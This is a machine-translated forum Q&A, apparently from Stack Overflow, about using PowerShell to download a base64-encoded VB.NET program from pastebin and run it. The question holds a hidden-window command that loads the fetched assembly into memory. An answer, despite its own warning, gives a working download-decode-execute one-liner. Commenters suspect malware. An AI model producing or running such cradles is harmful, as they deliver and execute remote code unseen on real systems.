Vb.net 如何从powershell运行base64?

Vb.net 如何从powershell运行base64?,vb.net,base64,Vb.net,Base64,我有一个用vb.net编写的程序,我将其转换为base64字符串,并将base64字符串上载到pastebin 如何从Powershell命令下载并执行它 我试过这个,但不起作用: PowerShell.exe -windowstyle hidden -noexit [AppDomain]::CurrentDomain.Load([Convert]::Frombase64String((New-Object System.Net.WebClient).Downloadstring('https:

我有一个用vb.net编写的程序,我将其转换为base64字符串,并将base64字符串上载到pastebin

如何从Powershell命令下载并执行它

我试过这个,但不起作用:

PowerShell.exe -windowstyle hidden -noexit [AppDomain]::CurrentDomain.Load([Convert]::Frombase64String((New-Object System.Net.WebClient).Downloadstring('https://pastbin.com/raw/xxxxxxxx'))).EntryPoint.invoke($null,$null)

如果您确实想这样做,请提前感谢您的帮助-此代码将转到pastebin,获取一些内容,从base64解码,然后在Powershell中运行
调用表达式-命令$[string][System.Text.Encoding]::Unicode.GetString[System.Convert]::FromBase64StringInvoke WebRequest-Urihttps://pastebin.com/raw/XXXXXXX.content好的,就像我在评论中说的:

将脚本转换为base64并不能保证它们的安全性! 从pastebin下载脚本并立即运行它们听起来真是个糟糕的主意。。。 但对于如何下载、解码并使用powershell运行命令的问题,我可能会给出一个答案:

& ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri "https://pastebin.com/raw/hunMB9wV" |  Select-Object -ExpandProperty Content))))
在我的示例中,我将calc编码到base64并将其上载到pastebin

说明:

&-用于运行代码

[System.Text.Encoding]::UTF8.GetString[System.Convert]::FromBase64String-将base64解码为UTF8


调用WebRequest-Urihttps://pastebin.com/raw/hunMB9wV |选择Object-ExpandProperty Content-下载pastebin站点的原始内容

两件事:1。将脚本转换为base64并不能保证它们的安全性!2.从pastebin下载脚本并立即运行它们听起来真是个糟糕的主意……你在vbnet中编写了一些东西,并试图通过某种魔法使用powershell执行它?@Paxz:我认为OP不想让它变得安全。看起来他/她更像是在试图制造一种病毒非常感谢您的帮助,我知道base64不会使我的程序变得安全,但它有点混乱,所以请不要认为我是在用它制造病毒,实际上我遇到了这个问题@acascwsa Invoke Webrequest是在PSv3中实现的。升级您的Powershell。